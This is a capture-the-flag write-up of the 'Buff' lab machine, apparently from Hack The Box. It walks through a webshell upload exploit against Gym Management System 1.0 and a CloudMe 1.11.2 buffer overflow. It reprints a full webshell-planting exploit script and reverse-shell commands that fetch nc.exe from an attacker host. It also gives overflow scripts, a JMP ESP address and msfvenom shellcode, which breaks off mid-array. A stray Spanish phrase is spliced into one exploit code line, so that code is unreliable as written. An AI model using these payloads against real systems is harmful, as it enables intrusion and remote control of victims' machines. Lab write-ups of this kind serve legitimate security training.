Buff

It is a very simple machine, but we are going to analyze in depth a Buffer Overflow in CloudMe 1.11.2 and an 'Unauthenticated Remote Code Execution' in 'Gym Management System 1.0'
March 18, 202420 minutes
Reconnaissance
First of all, we check whether the machine is up and which OS it runs
> ping -c 1 10.10.10.198
PING 10.10.10.198 (10.10.10.198) 56(84) bytes of data.
64 bytes from 10.10.10.198: icmp_seq=1 ttl=127 time=304 ms
--- 10.10.10.198 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 303.579/303.579/303.579/0.000 ms
We have connectivity, and in this case it returns a TTL (time to live) of 127, knowing that ttl=64: Linux / ttl=128: Windows. This machine is Windows
Port scan
Now we start with a port scan
$ sudo nmap -p- --open -sS --min-rate 5000 -n -Pn -vvv 10.10.10.198 -oG allPorts
Parameter explanation
| Parameter | Purpose |
|---|---|
| -p- | Scan all ports (65536) |
| –open | Only report open ports |
| –min-rate 5000 | Set the scan speed |
| -n | Skip DNS resolution |
| -vvv | Print findings to the console as they come |
| -Pn | Skip checking whether the host is up |
| -oG allPorts | Save the scan in grepable format to a file called allPorts |
With a function defined in .zshrc called extractPorts, we get the open ports in a more visual way
extractPorts function by @s4vitar
> extractPorts allPorts
───────┬───────────────────────────────────────────────────────────────────────────────────────────────────────
│ File: extractPorts.tmp
───────┼───────────────────────────────────────────────────────────────────────────────────────────────────────
1 │
2 │ [*] Extracting information...
3 │
4 │ [*] IP Address: 10.10.10.198
5 │ [*] Open ports: 8080
6 │
7 │ [*] Ports copied to clipboard
8 │
───────┴───────────────────────────────────────────────────────────────────────────────────────────────────────
Now, with nmap, we try to find the versions of the services running on those ports and run nmap’s basic reconnaissance scripts
nmap -sCV -p8080 10.10.10.198 -Pn -oN versions
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-03-03 12:58 CET
Nmap scan report for 10.10.10.198
Host is up (0.39s latency).
PORT STATE SERVICE VERSION
8080/tcp open http Apache httpd 2.4.43 ((Win64) OpenSSL/1.1.1g PHP/7.4.6)
|_http-title: mrb3n's Bro Hut
|_http-server-header: Apache/2.4.43 (Win64) OpenSSL/1.1.1g PHP/7.4.6
| http-open-proxy: Potentially OPEN proxy.
|_Methods supported:CONNECTION
Parameter explanation
| Parameter | Purpose |
|---|---|
| -p | The open ports found in the previous scan |
| -sC | Run basic reconnaissance scripts |
| -sV | Report the version and details of the services running on the ports |
Port 8080
nmap reported that port 8080 is open with a website running on Apache 2.4.42.
When we open it, we see a simple website about a gym. If we go to the contact section, we see the following message.
Made using Gym Management Software 1.0
Exploitation
Searching on exploit-db, we see it’s vulnerable to unauthenticated RCE
> searchsploit gym
-------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
-------------------------------------------------------------------- ---------------------------------
Gym Management System 1.0 - 'id' SQL Injection | php/webapps/48936.txt
Gym Management System 1.0 - Authentication Bypass | php/webapps/48940.txt
Gym Management System 1.0 - Stored Cross Site Scripting | php/webapps/48941.txt
Gym Management System 1.0 - Unauthenticated Remote Code Execution | php/webapps/48506.py
GYM MS - GYM Management System - Cross Site Scripting (Stored) | php/webapps/51777.txt
WordPress Plugin WPGYM - SQL Injection | php/webapps/42801.txt
-------------------------------------------------------------------- ---------------------------------
We copy it to the current working directory
> searchsploit -m php/webapps/48506.py
Exploit: Gym Management System 1.0 - Unauthenticated Remote Code Execution
URL: https://www.exploit-db.com/exploits/48506
Path: /usr/share/exploitdb/exploits/php/webapps/48506.py
Codes: N/A
Verified: False
File Type: Python script, ASCII text executable
cp: overwrite '/home/d3b0o/Desktop/buff/48506.py'? y
Copied to: /home/d3b0o/Desktop/buff/48506.py
This is the exploit:
import requests, sys, urllib, re
from colorama import Fore, Back, Style
requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning)
def webshell(SERVER_URL, session):
try:
WEB_SHELL = SERVER_URL+'upload/kamehameha.php'
getdir = {'telepathy': 'echo %CD%'}
r2 = session.get(WEB_SHELL, params=getdir, verify=False)
status = r2.status_code
if status != 200:
print Style.BRIGHT+Fore.RED+"[!] "+Fore.RESET+"Could not connect to the webshell."+Style.RESET_ALL
r2.raise_for_status()
print(Fore.GREEN+'[+] '+Fore.RESET+'Successfully connected to webshell.')
cwd = re.findall('[CDEF].*', r2.text)
cwd = cwd[0]+"> "
term = Style.BRIGHT+Fore.GREEN+cwd+Fore.RESET
while True:
thought = raw_input(term)
command = {'telepathy': thought}
r2 = requests.get(WEB_SHELL, params=command, verify=False)
status = r2.status_code
if status != 200:
r2.raise_for_status()
response2 = r2.text
print(response2)
except:
print("\r\nExiting.")
sys.exit(-1)
def formatHelp(STRING):
return Style.BRIGHT+Fore.RED+STRING+Fore.RESET
def header():
BL = Style.BRIGHT+Fore.GREEN
RS = Style.RESET_ALLomo instalar mona.py en Immunity Debugger
FR = Fore.RESET
SIG = BL+' /\\\n'+RS
SIG += Fore.YELLOW+'/vvvvvvvvvvvv '+BL+'\\'+FR+'--------------------------------------,\n'
SIG += Fore.YELLOW+'`^^^^^^^^^^^^'+BL+' /'+FR+'============'+Fore.RED+'BOKU'+FR+'====================="\n'
SIG += BL+' \/'+RS+'\n'
return SIG
if __name__ == "__main__":
print header();
if len(sys.argv) != 2:
print formatHelp("(+) Usage:\t python %s <WEBAPP_URL>" % sys.argv[0])
print formatHelp("(+) Example:\t python %s 'https://10.0.0.3:443/gym/'" % sys.argv[0])
sys.exit(-1)
SERVER_URL = sys.argv[1]
UPLOAD_DIR = 'upload.php?id=kamehameha'
UPLOAD_URL = SERVER_URL + UPLOAD_DIR
s = requests.Session()
s.get(SERVER_URL, verify=False)
PNG_magicBytes = '\x89\x50\x4e\x47\x0d\x0a\x1a'
png = {
'file':
(
'kaio-ken.php.png',
PNG_magicBytes+'\n'+'<?php echo shell_exec($_GET["telepathy"]); ?>',
'image/png',
{'Content-Disposition': 'form-data'}
)
}
fdata = {'pupload': 'upload'}
r1 = s.post(url=UPLOAD_URL, files=png, data=fdata, verify=False)
webshell(SERVER_URL, s)
Basically, what it does is upload a file called kaio-ken.php.png to /upload.php. Inside the file it puts the PNG magic bytes so it’s treated as a PNG (x89\x50\x4e\x47\x0d\x0a\x1a). Below is an example of how to use this technique to make a PHP script look like a GIF
> cat test.php
───────┬───────────────────────────────────────────────────────────────────────────────────────────────────────
│ File: test.php
───────┼───────────────────────────────────────────────────────────────────────────────────────────────────────
1 │ <?php
2 │ echo "Test"
3 │ ?>
───────┴───────────────────────────────────────────────────────────────────────────────────────────────────────
> file test.php
test.php: PHP script, ASCII text
> cat test.php
───────┬───────────────────────────────────────────────────────────────────────────────────────────────────────
│ File: test.php
───────┼───────────────────────────────────────────────────────────────────────────────────────────────────────
1 │ GIF8;
2 │ <?php
3 │ echo "Test"
4 │ ?>
───────┴───────────────────────────────────────────────────────────────────────────────────────────────────────
> file test.php
test.php: GIF image data 16188 x 26736
To make it clearer, we’ll change the script’s magic bytes to the GIF8; ones, although it already works as it comes by default
PNG_magicBytes = 'GIF8;'
Finally, we run the script
> python2 48506.py http://10.10.10.198:8080/
/usr/share/offsec-awae-wheels/pyOpenSSL-19.1.0-py2.py3-none-any.whl/OpenSSL/crypto.py:12: CryptographyDeprecationWarning: Python 2 is no longer supported by the Python core team. Support for it is now deprecated in cryptography, and will be removed in the next release.
/\omo instalar mona.py en Immunity Debugger
/vvvvvvvvvvvv \--------------------------------------,
`^^^^^^^^^^^^ /============BOKU====================="
\/
[+] Successfully connected to webshell.
F8;>
Now we have a shell that isn’t really a shell. Let me explain: we’ve simply uploaded a PHP script that runs whatever we pass in the telepathy parameter
> curl "http://10.10.10.198:8080/upload/kamehameha.php?telepathy=whoami"
GIF8;
buff\shaun
What code does kamehameha.php have that lets us run commands?
The kamehameha.php file has the following code
<?php echo shell_exec($_GET["telepathy"]); ?>
What it basically does is pass everything it receives via GET in the telepathy parameter to the shell_exec function.
shell_exec runs commands on the system but doesn’t print the output; to make it print the output, you have to put echo in front
Without echo
d3bo~> cat test.php
1 <?php shell_exec("whoami") ?>
d3bo~> php test.php
With echo
d3bo~> cat test.php
1 <?php echo shell_exec("whoami") ?>
d3bo~> php test.php
d3bo
If shell_exec didn’t work or were blocked, other functions could be used. Here are some examples
system()
d3bo~> cat test.php
1 <?php system("whoami") ?>
d3bo~> php test.php
d3bo
passthru()
d3bo~> cat test.php
1 <?php passthru("whoami") ?>
d3bo~> php test.php
d3bo
exec()
d3bo~> cat test.php
1 <?php echo exec("whoami") ?>
d3bo~> php test.php
d3bo
popen()
d3bo~> cat test.php
1 <?php
2 $handle = popen('whoami', 'r');
3 $read = fread($handle, 2096);
4 pclose($handle);
5 echo $read;
6 ?>
7
d3bo~> php test.php
d3bo
We’ll use this RCE to send ourselves a proper reverse shell.
To do so, first we look for nc.exe, which usually comes preinstalled on Kali. Then we move it to the current directory and start an SMB server so we can run it from the other machine
> locate nc.exe
/home/d3b0o/Desktop/buff/nc.exe
/opt/SecLists/Web-Shells/FuzzDB/nc.exe
/usr/lib/mono/4.5/cert-sync.exe
/usr/share/seclists/Web-Shells/FuzzDB/nc.exe
/usr/share/windows-resources/binaries/nc.exe
> cp /usr/share/windows-resources/binaries/nc.exe .
> impacket-smbserver smb $(pwd) -smb2support
Impacket v0.11.0 - Copyright 2023 Fortra
[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Config file parsed
We listen on port 443
rlwrap nc -nlvp 443
Finally, taking advantage of the RCE, we run the following command
//10.10.14.31/smb/nc.exe -e cmd 10.10.14.31 443
curl -s -G "http://10.10.10.198:8080/upload/kamehameha.php" --data-urlencode "telepathy=//10.10.14.31/smb/nc.exe -e cmd 10.10.14.31 443"
We get the reverse shell!!!
Analyzing the vulnerability
Why are we able to run commands? What’s wrong with the upload.php code?
exploit-db exploits usually include a link to download the vulnerable application; in this case the link is https://projectworlds.in/free-projects/php-projects/gym-management-system-project-in-php/
From there we download the code. Once downloaded and unzipped, we can look at the contents of upload.php, which is the file we used to upload a malicious PHP file
<?php
include_once 'include/db_connect.php';
include_once 'include/functions.php';
$user = $_GET['id'];
$allowedExts = array("jpg", "jpeg", "gif", "png","JPG");
$extension = @end(explode(".", $_FILES["file"]["name"]));
if(isset($_POST['pupload'])){
if ((($_FILES["file"]["type"] == "image/gif")
|| ($_FILES["file"]["type"] == "image/jpeg")
|| ($_FILES["file"]["type"] == "image/JPG")
|| ($_FILES["file"]["type"] == "image/png")
|| ($_FILES["file"]["type"] == "image/pjpeg"))
&& ($_FILES["file"]["size"] < 20000000000000)
&& in_array($extension, $allowedExts))
{
if ($_FILES["file"]["error"] > 0)
{
echo "Return Code: " . $_FILES["file"]["error"] . "<br>";
}
else
{
if (file_exists("upload/" . $_FILES["file"]["name"]))
{
unlink("upload/" . $_FILES["file"]["name"]);
}
else
{
$pic=$_FILES["file"]["name"];
$conv=explode(".",$pic);
$ext=$conv['1'];
move_uploaded_file($_FILES["file"]["tmp_name"],
"upload/". $user.".".$ext);
$url=$user.".".$ext;
$query="update members set pic=1, picName='$url' where id='$user'";
if($upl=$mysqli->query($query)){
header("location: profile/i.php");
}
}
}
}
else
header("location: /profile/i.php");
}
?>
At the beginning of the script some variables are declared:
- user, which is what we pass via GET in the id parameter,
- allowedExts, an array with all the allowed extensions (jpg, png, gif…)
- extension, which stores the file’s extension like this
$extension = @end(explode(".", $_FILES["file"]["name"]));
It uses the explode function to split the name into parts separated by “.”
d3bo> cat test.php
1 <?php
2 $test = explode(".", "test.php.png" );
3 print_r($test)
4 ?>
d3bo> php test.php
Array
(
[0] => test
[1] => php
[2] => png
)
It also adds @end so only the last one is returned
d3bo> cat test.php
1 <?php
2 $test = @end(explode(".", "test.php.png" ));
3 echo $test
4 ?>
d3bo> php test.php
png
This is how it gets the file’s extension.
The code continues with the following
if ((($_FILES["file"]["type"] == "image/gif")
|| ($_FILES["file"]["type"] == "image/jpeg")
|| ($_FILES["file"]["type"] == "image/JPG")
|| ($_FILES["file"]["type"] == "image/png")
|| ($_FILES["file"]["type"] == "image/pjpeg"))
&& ($_FILES["file"]["size"] < 20000000000000)
&& in_array($extension, $allowedExts))
Here it performs 3 checks
- Content-Type: First it checks whether the content type is
image/gif,image/jpeg,image/JPG,image/pngorimage/pjpeg - Size: It also checks that the file is smaller than 20,000,000,000,000 bytes
- Extension: Finally, it checks that the file’s extension is in the allowedExts array
If it passes all these checks, it moves on to the next section
$pic=$_FILES["file"]["name"];
$conv=explode(".",$pic);
$ext=$conv['1'];
move_uploaded_file($_FILES["file"]["tmp_name"],
"upload/". $user.".".$ext);
$url=$user.".".$ext;
This is where the vulnerability starts
It splits the name into an array again with explode, using “.” as the separator, and stores position 1 of the array in the ext variable. Then it uploads the file with the user name we passed via GET and that extension.
The problem is that the extension isn’t calculated properly: if we use 2 extensions, it takes the first one
d3bo> cat test2.php
1 <?php
2 $pic="shell.php.png";
3 $conv=explode(".",$pic);
4 $ext=$conv['1'];
5 echo $ext
6 ?>
d3bo> php test2.php
php
The name shell.php.png would pass all the checks because it’s a PNG, but when it’s uploaded it will be saved with the user name and the php extension, since it takes position 1 of the array instead of the last one
To prevent this, ‘@end’ should have been used, as it was at the beginning of the code
d3bo> cat test2.php
1 <?php
2 $pic="shell.php.png";
3 $conv=explode(".",$pic);
4 $ext=@end($conv);
5 echo $ext
6 ?>
d3bo> php test2.php
png
We can test all this by writing our own script
> cat exploit.py
1 │ import requests
2 │
3 │ def subir_archivo(s):
4 │ url = 'http://10.10.10.198:8080/upload.php?id=user2'
5 │ contenido_archivo = 'GIF8;\n <?php system("whoami") ?>'
6 │ archivo = {'file': ('shell.php.gif', contenido_archivo, 'image/gif')}
7 │ fdata = {'pupload': 'upload'}
8 │ try:
9 │ respuesta = s.post(url, files=archivo, data=fdata)
10 │ except Exception as e:
11 │ print("Error al realizar la solicitud:", e)
12 │
13 │ s = requests.Session()
14 │ subir_archivo(s)
15 │ r = s.get("http://10.10.10.198:8080/upload/user2.php")
16 │ print(r.text)
> python3 exploit.py
GIF8;
buff\shaun
Privilege escalation
Inside the Downloads directory there is a file called CloudMe_1112.exe
C:\Users\shaun>tree /f
3D Objects
Contacts
Desktop
user.txt
Documents
Tasks.bat
Downloads
CloudMe_1112.exe
....
A quick Google search shows which port CloudMe uses by default (8888)
With netstat -a we can see that port 8888 is open locally
C:\xampp\htdocs\gym\upload>netstat -a
netstat -a
Active Connections
Proto Local Address Foreign Address State
TCP 0.0.0.0:135 BUFF:0 LISTENING
TCP 0.0.0.0:445 BUFF:0 LISTENING
TCP 0.0.0.0:5040 BUFF:0 LISTENING
TCP 0.0.0.0:7680 BUFF:0 LISTENING
TCP 0.0.0.0:8080 BUFF:0 LISTENING
TCP 0.0.0.0:49664 BUFF:0 LISTENING
TCP 0.0.0.0:49665 BUFF:0 LISTENING
TCP 0.0.0.0:49666 BUFF:0 LISTENING
TCP 0.0.0.0:49667 BUFF:0 LISTENING
TCP 0.0.0.0:49668 BUFF:0 LISTENING
TCP 0.0.0.0:49669 BUFF:0 LISTENING
TCP 10.10.10.198:139 BUFF:0 LISTENING
TCP 10.10.10.198:8080 10.10.14.31:55448 ESTABLISHED
TCP 10.10.10.198:49771 10.10.14.31:https ESTABLISHED
TCP 127.0.0.1:3306 BUFF:0 LISTENING
TCP 127.0.0.1:8888 BUFF:0 LISTENING
With searchsploit we find that the version of the program in the ‘Downloads’ folder is vulnerable to a buffer overflow.
> searchsploit CloudMe 1.11.2
----------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
----------------------------------------------------------------------------- ---------------------------------
CloudMe 1.11.2 - Buffer Overflow (PoC) | windows/remote/48389.py
CloudMe 1.11.2 - Buffer Overflow (SEH_DEP_ASLR) | windows/local/48499.txt
CloudMe 1.11.2 - Buffer Overflow ROP (DEP_ASLR) | windows/local/48840.py
CloudMe Sync 1.11.2 - Buffer Overflow + Egghunt | windows/remote/46218.py
CloudMe Sync 1.11.2 - Buffer Overflow + Egghunt | windows/remote/46218.py
CloudMe Sync 1.11.2 Buffer Overflow - WoW64 (DEP Bypass) | windows_x86-64/remote/46250.py
CloudMe Sync 1.11.2 Buffer Overflow - WoW64 (DEP Bypass) | windows_x86-64/remote/46250.py
----------------------------------------------------------------------------- ---------------------------------
We could use the exploit-db script, but we’ll do it manually.
Buffer overflow
First of all, we’ll use a virtual machine with 32-bit Windows 7. On that Windows machine we’ll install CloudMe 1.11.2, Immunity Debugger and mona.py
- We’ll use Immunity Debugger to analyze the binary at runtime.
- CloudMe 1.11.2 will run on our machine so we can analyze it and simulate attacks as if it were the target machine
- mona.py is a Python script that works with Immunity Debugger; we’ll use it to automate different steps while exploiting the buffer overflow
How to install mona.py in Immunity Debugger
Download the file from GitHub
https://raw.githubusercontent.com/corelan/mona/master/mona.py
And move it to C:\Program Files\Immunity Inc\Immunity Debugger\PyCommands
The next step is to run CloudMe 1.11.2, for which we need to create a CloudMe account.
Port forwarding
If we remember, CloudMe runs locally on port 8888, so we can’t reach that port from Kali. We have to do port forwarding, and for that we use Chisel
On the attacker machine we download Chisel and run it
sudo ./chisel server --reverse -p 1234
Parameter explanation
| Parameter | Purpose |
|---|---|
| -p | The port the chisel server will listen on |
| server | Runs chisel in server mode |
| –reverse | Allows clients to set up reverse port forwards |
On Windows we also download Chisel and run it
chisel.exe client 192.168.1.145:1234 R:8888:127.0.0.1:8888
Parameter explanation
| Parameter | Purpose |
|---|---|
| 192.168.1.145:1234 | The IP of the attacker machine running chisel in server mode, and the port chisel is running on |
| client | Runs chisel in client mode |
| R:8888:127.0.0.1:8888 | Maps port 8888 on the Windows machine to port 8888 on the attacker machine, so port 8888 on the attacker machine is now the same as port 8888 on the Windows machine |
To check that everything worked, we can see whether port 8888 is now open on our Kali, like this:
ss -tnlp | grep 8888
LISTEN 0 4096 *:8888 *:*
Parameter explanation
| Parameter | Purpose |
|---|---|
| ss | Shows information about network sockets, such as TCP and UDP connections and socket statistics |
| -t | Only shows TCP connections. |
| -n | Shows addresses and ports numerically instead of resolving names. |
| -l | Only shows connections in the listening state. |
| -p | Shows the processes associated with the sockets. |
| grep | Here we use it to filter for the line containing port 8888 |
Calculating the offset
We start by sending lots of characters to see whether the application stops working
python2 -c 'print "A"*7000' | nc 127.0.0.1 8888
Now the following message appears on Windows

To see why it crashes, we’ll open it again, attach to it from Immunity Debugger (File > Attach > CloudMe) and press play
We repeat the same process of sending a large input
python2 -c 'print "A"*7000' | nc 127.0.0.1 8888

Now in Immunity Debugger we can see that registers like EIP, ESP, EBP… have the value 41, which is the character ‘A’ in hex. This means that by sending a string longer than the buffer size assigned to the variable, registers in memory were overwritten to store the ‘A’s. The problem is that, for example, if we change the value of EIP the program doesn’t know where to continue, since EIP (Instruction Pointer) holds the memory address of the next instruction; if we give it an address that doesn’t exist, like 41414141 here, it simply stops working.
Let’s see how many As we need to send to reach EIP. For this we’ll create a string specifically designed for it
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 7000
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3A...
Parameter explanation
| Parameter | Purpose |
|---|---|
| -l 7000 | The number of characters in the string |
We send it to CloudMe
> nc 127.0.0.1 8888
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1A...
Obviously, CloudMe crashed again, but if we look at EIP, we see it’s now 316A4230.
The following command automatically calculates the offset (the number of ‘A’s) to reach EIP
> /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 7000 -q 316A4230
[*] Exact match at offset 1052
Parameter explanation
| Parameter | Purpose |
|---|---|
| -l 7000 | The number of characters the string had |
| -q 316A4230 | With -q we pass the characters shown in EIP |
The command tells us the offset is 1052.
To check it, we’ll send 1052 ‘A’s and 4 ‘B’s. If the calculation is right, we should see in Immunity Debugger that EIP is 42424242, which is BBBB in hex
python2 -c 'print "A"*1052 + "B"*4' | nc 127.0.0.1 8888
After running this, EIP becomes 42424242, which is the same as BBBB. This means we control EIP, and therefore the program’s execution flow.

We’ll use this to set EIP so it jumps to ESP, and inside ESP we’ll load some instructions to run commands.
We send the same payload as before, but now with 2000 C’s, which represent the instructions we’ll add later.
python2 -c 'print "A"*1052 + "B"*4 + "C"*200' | nc 127.0.0.1 8888
In Immunity Debugger we see that ESP starts right after EIP.


Badchars
What is a badchar?
A “badchar” is a character that, when processed, can cause problems because the system doesn’t interpret it as expected.
How could we check whether any character isn’t processed properly? By sending every possible character and seeing whether any of them cause errors.
So far we’ve been sending Python one-liners, but now we’ll write a script because we’re going to need to add more things
from pwn import *
from struct import pack
offset = 1052
before_eip = b"A" * offset
eip = b"BBBB"
payload = before_eip + eip
host, port = "127.0.0.1", 8888
r = remote(host, port)
r.sendline(payload)
To this script we have to add the characters we’ll test as possible badchars. To get the list we’ll use the badchars program, which we can install with pip
> pip3 install badchars
> badchars -f python
badchars = (
"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10"
"\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30"
"\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"
"\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70"
"\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90"
"\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0"
"\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0"
"\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0"
"\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
)
from pwn import *
from struct import pack
offset = 1052
before_eip = b"A" * offset
eip = b"BBBB"
badchars = (
b"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10"
b"\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
b"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30"
b"\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
b"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"
b"\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
b"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70"
b"\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
b"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90"
b"\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
b"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0"
b"\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
b"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0"
b"\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
b"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0"
b"\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
)
payload = before_eip + eip + badchars
host, port = "127.0.0.1", 8888
r = remote(host, port)
r.sendline(payload)
In Immunity Debugger we can check one by one whether each character shows up or not

This is tedious, which is why we installed mona.py earlier; as I said, it helps us automate processes
We start with mona by setting the working directory
!mona config -set workingfolder C:\Users\arnau\Desktop\bof
Next, we create a byte array to check for badchars, excluding \x00 (null byte) because it always causes problems
!mona bytearray -b "\x00"
Two files have appeared in the folder we set as “workingfolder”. bytearray.txt contains the same string of characters we set earlier, so we don’t need to modify the script. The file we’ll use is bytearray.bin.
!mona compare -f C:\Users\arnau\Desktop\bof\bytearray.bin -a 0022F930
What this command does is check whether the characters show up correctly or cause any problems. With the -a parameter we have to specify the ESP address where we put the byte array to test for badchars. After running it, the following window opens, saying there are no badchars, which means they all show up and are processed successfully.

Protections
We list all the modules to see their protections
!mona modules

Types of protections
| Name | Description |
|---|---|
| CANARY (Stack Canary) | A security technique used to detect buffer overflows. A “canary” is a value placed before sensitive information in memory; if this value changes, it indicates that memory has been tampered with, suggesting an attack attempt. |
| CANARY (Stack Canary) | A security technique used to detect buffer overflows. A “canary” is a value placed before sensitive information in memory; if this value changes, it indicates that memory has been tampered with, suggesting an attack attempt. |
| FORTIFY (Fortify Source) | A security feature in C compilers and libraries that helps protect against buffer overflow vulnerabilities and other security issues. It adds automatic security checks to the code at compile time. |
| NX (No-eXecute) | A hardware technology and security feature that helps prevent code execution in memory regions designated as data. This is useful to prevent code injection attacks, such as buffer overflow attacks. |
| PIE (Position Independent Executable) | A security technique that compiles an executable so that it is loaded at a random location in memory, making exploitation harder because attackers can’t predict the exact location of the code in memory. |
| RELRO (RELocation Read-Only) | A security technique that marks certain sections of the dynamic linking table as read-only after the linker has resolved all the addresses. This helps protect against attacks that try to modify the dynamic linking table to redirect the program’s control flow. |
Of all the CloudMe .dll files listed, we’re interested in the ones with all protections set to False.
JMP ESP
Among all the .dll files with everything set to false, we look for a JMP ESP (an address that jumps to ESP, which is where we’ll put the shellcode). It’s important that it has {PAGE_EXECUTE_READ} so our shellcode can run
!mona find -s "\xFF\xE4" -m Qt5Core.dll
After searching through the .dll files, in the end Qt5Core.dll meets the requirements

Now we have the address to jump to ESP: 0x68a98a6b
Shellcode
Now it’s time to create the shellcode, which will run \\192.168.1.135\smb\nc.exe -e cmd.exe 192.168.1.135 443 on the target machine and send a shell to our attacker machine.
msfvenom -a x86 -p windows/exec CMD='\\192.168.1.135\smb\nc.exe -e cmd.exe 192.168.1.135 443' -b '\x00' -f python
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
Found 11 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 267 (iteration=0)
x86/shikata_ga_nai chosen with final size 267
Payload size: 267 bytes
Final size of python file: 1332 bytes
buf = b""
buf += b"\xdb\xc8\xd9\x74\x24\xf4\x5b\xba\x12\xf3\x19\x43"
buf += b"\x29\xc9\xb1\x3d\x31\x53\x17\x03\x53\x17\x83\xd1"
buf += b"\xf7\xfb\xb6\x29\x1f\x79\x38\xd1\xe0\x1e\xb0\x34"
buf += b"\xd1\x1e\xa6\x3d\x42\xaf\xac\x13\x6f\x44\xe0\x87"
buf += b"\xe4\x28\x2d\xa8\x4d\x86\x0b\x87\x4e\xbb\x68\x86"
buf += b"\xcc\xc6\xbc\x68\xec\x08\xb1\x69\x29\x74\x38\x3b"
buf += b"\xe2\xf2\xef\xab\x87\x4f\x2c\x40\xdb\x5e\x34\xb5"
buf += b"\xac\x61\x15\x68\xa6\x3b\xb5\x8b\x6b\x30\xfc\x93"
buf += b"\x68\x7d\xb6\x28\x5a\x09\x49\xf8\x92\xf2\xe6\xc5"
buf += b"\x1a\x01\xf6\x02\x9c\xfa\x8d\x7a\xde\x87\x95\xb9"
buf += b"\x9c\x53\x13\x59\x06\x17\x83\x85\xb6\xf4\x52\x4e"
buf += b"\xb4\xb1\x11\x08\xd9\x44\xf5\x23\xe5\xcd\xf8\xe3"
buf += b"\x6f\x95\xde\x27\x2b\x4d\x7e\x7e\x91\x20\x7f\x60"
buf += b"\x7a\x9c\x25\xeb\x97\xc9\x57\xb6\xfd\x0c\xe5\xcd"
